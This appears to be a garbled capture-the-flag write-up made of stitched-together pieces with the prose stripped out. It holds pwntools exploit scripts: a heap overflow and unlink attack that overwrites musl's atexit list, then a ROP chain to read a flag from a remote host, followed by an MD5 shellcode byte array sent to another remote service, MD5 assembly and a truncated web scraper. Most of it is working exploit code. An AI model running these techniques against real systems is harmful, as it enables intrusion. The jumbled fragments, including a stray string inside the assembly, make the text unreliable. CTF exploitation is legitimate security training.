p.sendlineafter("?: \\\\x00", "3") p.sendafter("addr: \\\\x00", p64(0xBABECAFE000)) p.sendafter("size: \\\\x00", p64(0x8)) p.sendafter("data: \\\\x00", p64(0xdeadbef0000)) p.interactive() #! /usr/bin/python2 # coding=utf-8 import sys from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') elf = ELF("./pwn") libc = ELF('libc.so') def Log(name): log.success(name+' = '+hex(eval(name))) if(len(sys.argv)==1): #local sh = process(["./libc.so", "./pwn"]) #process(["./pwn"]) process(["./libc.so", "./pwn"]) else: #remtoe sh = remote('111.186.59.11', 11124) def Num(n): sh.sendline(str(n)) def Cmd(n): sh.recvuntil('Command: ') Num(n) def Alloc(size, cont=''): Cmd(1) sh.recvuntil('Size: ') Num(size) if(len(cont)==0): cont = 'CHH\\n' sh.recvuntil('Content: ') sh.send(cont) def Update(idx, size, cont): Cmd(2) sh.recvuntil('Index: ') Num(idx) sh.recvuntil('Size: ') Num(size) sh.recvuntil('Content: ') sh.send(cont) def Overflow(idx, cont): Update(idx, 0x80000000, cont+'\\n') def Delete(idx): Cmd(3) sh.recvuntil('Index: ') Num(idx) def View(idx): Cmd(4) sh.recvuntil('Index: ') Num(idx) def Exit(): Cmd(5) def GDB(): gdb.attach(sh, ''' break *(0x00007ffff7f40000+0x175E) break *(0x00007ffff7f40000+0x19CE) telescope 0x00007ffff7ffba40 20 break *(0x00007ffff7f40000+0x1B88) break *0x7ffff7f6a5dc ''') #chunk arrange Alloc(0x10) #C0: overflow C1 Alloc(0x30) #C1: 0x00007ffff7ffe340 Alloc(0xA0) #C2 Alloc(0x30) #C3 Alloc(0x10) #C4 Delete(1) #Bin[0x40]<=>C1<=>C3 Delete(3) #partial overwrite next exp = 'A'*0x10 exp+= flat(0x21, 0x40) Overflow(0, exp) #C1->next=C2, Bin[0x40]<-C1->C2 #unlink Attack, C1->next->prev = C1->prev Alloc(0x30) #leak libc addr View(2) sh.recvuntil('CHH'.ljust(152, '\\x00')) libc.address = u64(sh.recv(8))-0xb0a58 Log('libc.address') #again Alloc(0x40) #idx:3 Alloc(0x60) #idx:5 Delete(5) #Overflow(0, exp) #overwrite atexit_head atexit_head = libc.address + 0xb2f58 chunk = libc.address + 0xb34a0 exp = 'A'*0x50 exp+= flat(0x61, 0xb00) exp+= flat(atexit_head-0x18, chunk) Overflow(3, exp) Alloc(0x60) #trigger #forge atexit list exp = flat(libc.address + 0xb34b8, 0xdeadbeef, 0) exp+= p64(0) #void (*f[COUNT])(void *); exp+= flat(0x123)*31 exp+= flat(libc.address+0x78d24) #mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx; #void *a[COUNT]; exp+= flat(0x4)*31 exp+= flat(libc.address+0xb3320) #sigframe addr Overflow(3, exp) #ROP buf = libc.address+0xb3F00 rdi = libc.address+0x15291 rsi = libc.address+0x1d829 rdx = libc.address+0x2cdda rax = libc.address+0x16a16 ret = libc.address+0x15292 syscall = libc.address+0x23720 def Call(sys, A, B, C): return flat(rax, sys, rdi, A, rsi, B, rdx, C, syscall) exp = '\\x00'*0x30 exp+= flat(libc.address+0xb3360) exp+= flat(ret) exp+= Call(0, 0, buf, 0x10) exp+= Call(2, buf, 0, 0) exp+= Call(0, 3, buf, 0x30) exp+= Call(1, 1, buf, 0x30) Overflow(0, exp) #GDB() #trigger exit()=>atexit()=>ROP Exit() sh.sendline('flag\\x00') sh.interactive() MISC uc_baaaby DATA = 0xbabecafe000 check_data = os.urandom(50) DATA DATA + 0x80016, check_datamd5 shellcodeshellcode0x233 check_data exp ''' mal: malloc+214: $r14 = 0x00007ffff7ffba40 flag{0ld_mus1_n3ver_d1e_6dcd57ef} ''' from pwn import * code = [0x49, 0xBD, 0x00, 0xE0, 0xAF, 0xEC, 0xAB, 0x0B, 0x00, 0x00, 0x90, 0xB8, 0x01, 0x23, 0x45, 0x67, 0xBB, 0x89, 0xAB, 0xCD, 0xEF, 0xB9, 0xFE, 0xDC, 0xBA, 0x98, 0xBA, 0x76, 0x54, 0x32, 0x10, 0xC7, 0x45, 0x32, 0x80, 0x00, 0x00, 0x00, 0xC7, 0x45, 0x36, 0x00, 0x00, 0x90, 0x01, 0x48, 0xC7, 0x45, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x89, 0xCE, 0x03, 0x45, 0x00, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0x78, 0xA4, 0x6A, 0xD7, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x04, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0x56, 0xB7, 0xC7, 0xE8, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x08, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0xDB, 0x70, 0x20, 0x24, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x0C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0xEE, 0xCE, 0xBD, 0xC1, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x10, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0xAF, 0x0F, 0x7C, 0xF5, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x14, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0x2A, 0xC6, 0x87, 0x47, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x18, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0x13, 0x46, 0x30, 0xA8, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x1C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0x01, 0x95, 0x46, 0xFD, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x20, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0xD8, 0x98, 0x80, 0x69, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x24, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0xAF, 0xF7, 0x44, 0x8B, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x28, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0xB1, 0x5B, 0xFF, 0xFF, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x2C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0xBE, 0xD7, 0x5C, 0x89, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x30, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0x22, 0x11, 0x90, 0x6B, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x34, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0x93, 0x71, 0x98, 0xFD, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x38, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0x8E, 0x43, 0x79, 0xA6, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x3C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0x21, 0x08, 0xB4, 0x49, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x04, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0x62, 0x25, 0x1E, 0xF6, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x18, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0x40, 0xB3, 0x40, 0xC0, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x2C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0x51, 0x5A, 0x5E, 0x26, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x00, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0xAA, 0xC7, 0xB6, 0xE9, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x14, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0x5D, 0x10, 0x2F, 0xD6, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x28, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0x53, 0x14, 0x44, 0x02, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x3C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0x81, 0xE6, 0xA1, 0xD8, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x10, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0xC8, 0xFB, 0xD3, 0xE7, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x24, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0xE6, 0xCD, 0xE1, 0x21, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x38, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0xD6, 0x07, 0x37, 0xC3, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x0C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0x87, 0x0D, 0xD5, 0xF4, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x20, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0xED, 0x14, 0x5A, 0x45, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x34, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0x05, 0xE9, 0xE3, 0xA9, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x08, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0xF8, 0xA3, 0xEF, 0xFC, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x1C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0xD9, 0x02, 0x6F, 0x67, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x30, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0x8A, 0x4C, 0x2A, 0x8D, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x14, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0x42, 0x39, 0xFA, 0xFF, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x20, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0x81, 0xF6, 0x71, 0x87, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x2C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0x22, 0x61, 0x9D, 0x6D, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x38, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x0C, 0x38, 0xE5, 0xFD, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x04, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0x44, 0xEA, 0xBE, 0xA4, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x10, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0xA9, 0xCF, 0xDE, 0x4B, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x1C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0x60, 0x4B, 0xBB, 0xF6, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x28, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x70, 0xBC, 0xBF, 0xBE, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x34, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0xC6, 0x7E, 0x9B, 0x28, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x00, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0xFA, 0x27, 0xA1, 0xEA, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x0C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0x85, 0x30, 0xEF, 0xD4, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x18, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x05, 0x1D, 0x88, 0x04, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x24, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0x39, 0xD0, 0xD4, 0xD9, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x30, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0xE5, 0x99, 0xDB, 0xE6, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x3C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0xF8, 0x7C, 0xA2, 0x1F, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x08, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x65, 0x56, 0xAC, 0xC4, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x00, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0x44, 0x22, 0x29, 0xF4, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x1C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0x97, 0xFF, 0x2A, 0x43, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x38, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0xA7, 0x23, 0x94, 0xAB, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x14, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0x39, 0xA0, 0x93, 0xFC, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x30, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0xC3, 0x59, 0x5B, 0x65, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x0C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0x92, 0xCC, 0x0C, 0x8F, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x28, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0x7D, 0xF4, 0xEF, 0xFF, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x04, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0xD1, 0x5D, 0x84, 0x85, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x20, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0x4F, 0x7E, 0xA8, 0x6F, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x3C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0xE0, 0xE6, 0x2C, 0xFE, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x18, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0x14, 0x43, 0x01, 0xA3, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x34, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0xA1, 0x11, 0x08, 0x4E, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x10, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0x82, 0x7E, 0x53, 0xF7, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x2C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0x35, 0xF2, 0x3A, 0xBD, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x08, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0xBB, 0xD2, 0xD7, 0x2A, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x24, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0x91, 0xD3, 0x86, 0xEB, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x05, 0x01, 0x23, 0x45, 0x67, 0x81, 0xC3, 0x89, 0xAB, 0xCD, 0xEF, 0x81, 0xC1, 0xFE, 0xDC, 0xBA, 0x98, 0x81, 0xC2, 0x76, 0x54, 0x32, 0x10, 0x49, 0xB8, 0x00, 0xE8, 0xAF, 0xEC, 0xAB, 0x0B, 0x00, 0x00, 0x90, 0x41, 0x89, 0x00, 0x41, 0x89, 0x58, 0x04, 0x41, 0x89, 0x48, 0x08, 0x41, 0x89, 0x50, 0x0C] code = bytes(code) code = code.rjust(0x2000, b'\\x66') print("code len:", hex(len(code))) p = remote('111.186.59.29', 10086) p.send(code) md5 code p.interactive() .globl md5_compress .globl block1 .globl dist md5_compress: /* * Storage usage: * Bytes Location Description * 4 eax MD5 state variable A * 4 ebx MD5 state variable B * 4 ecx MD5 state variable C * 4 edx MD5 state variable D * 4 esi Temporary for calculation per round * 4 edi Temporary for calculation per round * 8 rbp Base address of block array argument (read-only) * 8 r8 Base address of state array argument (read-only) * 16 xmm0 Caller's value of rbx (only low 64 bits are used) * 16 xmm1 Caller's value of rbp (only low 64 bits are used) */ #define ROUND0(a, b, c, d, k, s, t) \\ movl %c, %esi; \\ addl (k*4)(%rbp), %a; \\ xorl %d, %esi; \\ andl %b, %esi; \\ xorl %d, %esi; \\ leal t(%esi,%a), %a; \\ roll $s, %a; \\ addl %b, %a; #define ROUND1(a, b, c, d, k, s, t) \\ movl %d, %esi; \\ movl %d, %edi; \\ addl (k*4)(%rbp), %a; \\ notl %esi; \\ andl %b, %edi; \\ andl %c, %esi; \\ orl %edi, %esi; \\ leal t(%esi,%a), %a; \\ roll $s, %a; \\ addl %b, %a; #define ROUND2(a, b, c, d, k, s, t) \\ movl %c, %esi; \\ addl (k*4)(%rbp), %a; \\ xorl %d, %esi; \\ xorl %b, %esi; \\ leal t(%esi,%a), %a; \\ roll $s, %a; \\ addl %b, %a; #define ROUND3(a, b, c, d, k, s, t) \\ movl %d, %esi; \\ not %esi; \\ addl (k*4)(%rbp), %a; \\ orl %b, %esi; \\ xorl %c, %esi; \\ leal t(%esi,%a), %a; \\ roll $s, %a; \\ addl %b, %a; /* Load arguments */ movq $block1, %rbp nop nop nop nop movl $0x67452301, %eax movl $0xefcdab89, %ebx movl $0x98badcfe, %ecx movl $0x10325476, %edx movl $0x80, 0x32(%rbp) movl $0x1900000, 0x36(%rbp) movq $0x0, 0x3a(%rbp) /* 64 rounds of hashing */ ROUND0(eax, ebx, ecx, edx, 0, 7, -0x28955B88) ROUND0(edx, eax, ebx, ecx, 1, 12, -0x173848AA) ROUND0(ecx, edx, eax, ebx, 2, 17, 0x242070DB) ROUND0(ebx, ecx, edx, eax, 3, 22, -0x3E423112) ROUND0(eax, ebx, ecx, edx, 4, 7, -0x0A83F051) ROUND0(edx, eax, ebx, ecx, 5, 12, 0x4787C62A) ROUND0(ecx, edx, eax, ebx, 6, 17, -0x57CFB9ED) ROUND0(ebx, ecx, edx, eax, 7, 22, -0x02B96AFF) ROUND0(eax, ebx, ecx, edx, 8, 7, 0x698098D8) ROUND0(edx, eax, ebx, ecx, 9, 12, -0x74BB0851) ROUND0(ecx, edx, eax, ebx, 10, 17, -0x0000A44F) ROUND0(ebx, ecx, edx, eax, 11, 22, -0x76A32842) ROUND0(eax, ebx, ecx, edx, 12, 7, 0x6B901122) ROUND0(edx, eax, ebx, ecx, 13, 12, -0x02678E6D) ROUND0(ecx, edx, eax, ebx, 14, 17, -0x5986BC72) ROUND0(ebx, ecx, edx, eax, 15, 22, 0x49B40821) ROUND1(eax, ebx, ecx, edx, 1, 5, -0x09E1DA9E) ROUND1(edx, eax, ebx, ecx, 6, 9, -0x3FBF4CC0) ROUND1(ecx, edx, eax, ebx, 11, 14, 0x265E5A51) ROUND1(ebx, ecx, edx, eax, 0, 20, -0x16493856) ROUND1(eax, ebx, ecx, edx, 5, 5, -0x29D0EFA3) ROUND1(edx, eax, ebx, ecx, 10, 9, 0x02441453) ROUND1(ecx, edx, eax, ebx, 15, 14, -0x275E197F) ROUND1(ebx, ecx, edx, eax, 4, 20, -0x182C0438) ROUND1(eax, ebx, ecx, edx, 9, 5, 0x21E1CDE6) ROUND1(edx, eax, ebx, ecx, 14, 9, -0x3CC8F82A) ROUND1(ecx, edx, eax, ebx, 3, 14, -0x0B2AF279) ROUND1(ebx, ecx, edx, eax, 8, 20, 0x455A14ED) ROUND1(eax, ebx, ecx, edx, 13, 5, -0x561C16FB) ROUND1(edx, eax, ebx, ecx, 2, 9, -0x03105C08) ROUND1(ecx, edx, eax, ebx, 7, 14, 0x676F02D9) ROUND1(ebx, ecx, edx, eax, 12, 20, -0x72D5B376) ROUND2(eax, ebx, ecx, edx, 5, 4, -0x0005C6BE) ROUND2(edx, eax, ebx, ecx, 8, 11, -0x788E097F) ROUND2(ecx, edx, eax, ebx, 11, 16, 0x6D9D6122) ROUND2(ebx, ecx, edx, eax, 14, 23, -0x021AC7F4) ROUND2(eax, ebx, ecx, edx, 1, 4, -0x5B4115BC) ROUND2(edx, eax, ebx, ecx, 4, 11, 0x4BDECFA9) ROUND2(ecx, edx, eax, ebx, 7, 16, -0x0944B4A0) ROUND2(ebx, ecx, edx, eax, 10, 23, -0x41404390) ROUND2(eax, ebx, ecx, edx, 13, 4, 0x289B7EC6) ROUND2(edx, eax, ebx, ecx, 0, 11, -0x155ED806) ROUND2(ecx, edx, eax, ebx, 3, 16, -0x2B10CF7B) ROUND2(ebx, ecx, edx, eax, 6, 23, 0x04881D05) ROUND2(eax, ebx, ecx, edx, 9, 4, -0x262B2FC7) ROUND2(edx, eax, ebx, ecx, 12, 11, -0x1924661B) ROUND2(ecx, edx, eax, ebx, 15, 16, 0x1FA27CF8) ROUND2(ebx, ecx, edx, eax, 2, 23, -0x3B53A99B) ROUND3(eax, ebx, ecx, edx, 0, 6, -0x0BD6DDBC) ROUND3(edx, eax, ebx, ecx, 7, 10, 0x432AFF97) ROUND3(ecx, edx, eax, ebx, 14, 15, -0x546BDC59) ROUND3(ebx, ecx, edx, eax, 5, 21, -0x036C5FC7) ROUND3(eax, ebx, ecx, edx, 12, 6, 0x655B59C3) ROUND3(edx, eax, ebx, ecx, 3, 10, -0x70F3336E) ROUND3(ecx, edx, eax, ebx, 10, 15, -0x00100B83) ROUND3(ebx, ecx, edx, eax, 1, 21, -0x7A7BA22F) ROUND3(eax, ebx, ecx, edx, 8, 6, 0x6FA87E4F) ROUND3(edx, eax, ebx, ecx, 15, 10, -0x01D31920) ROUND3(ecx, edx, eax, ebx, 6, 15, -0x5CFEBCEC) ROUND3(ebx, ecx, edx, eax, 13, 21, 0x4E0811A1) ROUND3(eax, ebx, ecx, edx, 4, 6, -0x08AC817E) ROUND3(edx, eax, ebx, ecx, 11, 10, -0x42C50DCB) ROUND3(ecx, edx, eax, ebx, 2, 15, 0x2AD7D2BB) ROUND3(ebx, ecx, edx, eax, 9, 21, -0x14792C6F) /* Save updated state */ addl $0x67452301, %eax addl $0xefcdab89, %ebx GutHib .jpg addl $0x98badcfe, %ecx addl $0x10325476, %edx movq $dist, %r8 nop nop nop nop movl %eax, 0(%r8) movl %ebx, 4(%r8) movl %ecx, 8(%r8) movl %edx, 12(%r8) import requests from bs4 import BeautifulSoup import re import ssl import time import random from lxml import etree user_agent = [ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)", "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; 